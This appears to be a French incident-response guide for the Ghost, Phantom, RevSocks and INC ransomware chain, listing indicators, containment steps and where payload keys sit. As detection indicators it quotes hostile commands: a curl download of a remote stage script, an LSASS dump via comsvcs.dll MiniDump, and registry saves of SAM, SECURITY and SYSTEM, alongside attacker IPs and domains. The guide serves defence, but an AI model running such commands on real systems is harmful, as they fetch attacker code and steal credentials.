# Guide de détection et de réponse : chaîne Ghost, Phantom, RevSocks et INC

Ce guide s'adresse à quelqu'un qui doit vérifier ou nettoyer un environnement, pas à des analystes. Il s'appuie sur [`inc-ghost-phantom-killchain.md`](inc-ghost-phantom-killchain.md) ; je n'ai exécuté aucun échantillon, tout ce qui suit vient de la lecture du code et des captures publiques.

## 1. Suis-je concerné ?

Cherchez, dans l'ordre de la chaîne :

1. **Livraison.** Un document Word dont l'ouverture crée un processus par WMI et exécute `curl.exe -sk -o %TEMP%\u.cmd http://<adresse>:8000/scripts/stage1.cmd`. Fichier `%TEMP%\u.cmd`.
2. **Implants.** Mutex `Global\WinSvcUpdate_7B3F`, `Global\31ae8e4090b03c3e`, `Global\d7fe5d6dcf01bf1b`. Fichiers `%TEMP%\msedge_update.exe`, `ProgramData\Microsoft\Windows\WER\ReportQueue\marker.tmp`. Processus `pythonw.exe` exécutant `svc.py`.
3. **Réseau.** Connexions vers `89.185.83[.]8`, `77.110.109[.]248`, `138.124.123[.]56:8443`, `45.227.254[.]45:8000`, résolutions de `api.system-strategy[.]org` et `cdn.system-strategy[.]org`, requêtes HTTPS dont l'en-tête `Host` ne correspond pas à l'adresse contactée, requêtes vers `api.telegram.org` depuis un processus qui n'est pas un client Telegram.
4. **Post-exploitation.** Chargement de `zam64.sys`, périphérique `\\.\ZemanaAntiMalware`, `rundll32 comsvcs.dll, MiniDump` vers `C:\Windows\Temp\d.dmp`, `reg save` de SAM, SECURITY et SYSTEM vers `C:\Windows\Temp`, exécutables `restic` ou clients S3 sortants vers un stockage objet inhabituel.
5. **Impact.** `INC-README.txt`, extension `.INC`, `INC.log`, arrêt de services de sauvegarde.

Un seul de ces indicateurs ne prouve rien, plusieurs ensemble désignent cette chaîne.

## 2. Que faire en cas de détection

1. Isoler les machines concernées. Les implants sont interactifs et l'opérateur peut réagir.
2. Conserver les images mémoire : les payloads (Meterpreter, shellcode du cradle) n'existent pas sur disque.
3. Considérer comme compromis tous les identifiants vus par les machines touchées, en priorité ceux qu'un vidage de LSASS aurait contenus, et les comptes de service. Les rotations doivent couvrir la fenêtre d'accès probable.
4. Vérifier les sauvegardes avant toute restauration : les outils recherchent et ciblent les services de sauvegarde.
5. Rechercher le vecteur initial. L'article associé à cette chaîne cite l'exploitation de services exposés (FortiClient EMS, SimpleHelp, cPanel) en plus de l'hameçonnage par modèle Word. Croiser avec votre exposition.
6. Si un binaire Ghost à canal Telegram est récupéré, extraire l'identifiant du bot et le signaler à Telegram avec l'échantillon. Ne pas utiliser le jeton.

## 3. Récupération de charges sans exécuter

Les secrets accompagnent toujours ce qu'ils protègent :

| Étage | Où trouver la clé |
|---|---|
| Chargeur Meterpreter | `.data` du chargeur, 32 octets de clé et 16 octets d'IV |
| Cradle PowerShell | 32 premiers octets de la réponse serveur (clé), 16 suivants (IV) |
| Chargeur RevSocks v2 | Constante XOR de 32 octets `deadbeefcafebabe...` |
| Injecteur RevSocks | 32 octets en `.data` du chargeur |
| Implants Ghost | Chaîne base64 de 32 octets dans `.rdata`, clé de chiffrement et de HMAC |

Si une capture réseau ou une copie de la réponse `/api/v2/update` existe, le shellcode se déchiffre sans passer par le malware. Si un exemplaire de `agent.enc` existe, il suffit d'un XOR avec la clé du chargeur correspondant.

## 4. Indicateurs

Voir [`iocs.csv`](iocs.csv) et le §15 du rapport. Règles YARA : [`ghost_phantom_toolchain.yar`](ghost_phantom_toolchain.yar).

Règle de chasse supplémentaire, indépendante du hash : tout exécutable signé par un certificat auto-signé dont le sujet est `CN=Microsoft Corporation, O=Microsoft Corporation` sans pays ni localité n'est pas signé par Microsoft.

## 5. Ce que cette analyse n'apporte pas

Elle ne dit rien de ce que l'opérateur fait après connexion, ni de l'état actuel de son infrastructure. Les encrypteurs INC chiffrent avec un échange X25519 : chaque exécution tire une clé éphémère et la combine à une clé publique de l'opérateur propre à la victime (confirmé dans le build ELF x86_64). Sans la clé privée correspondante, un déchiffrement sans l'opérateur n'est pas démontré. Les clés publiques identifient la victime, ce qui les rend utiles à un service d'enquête.
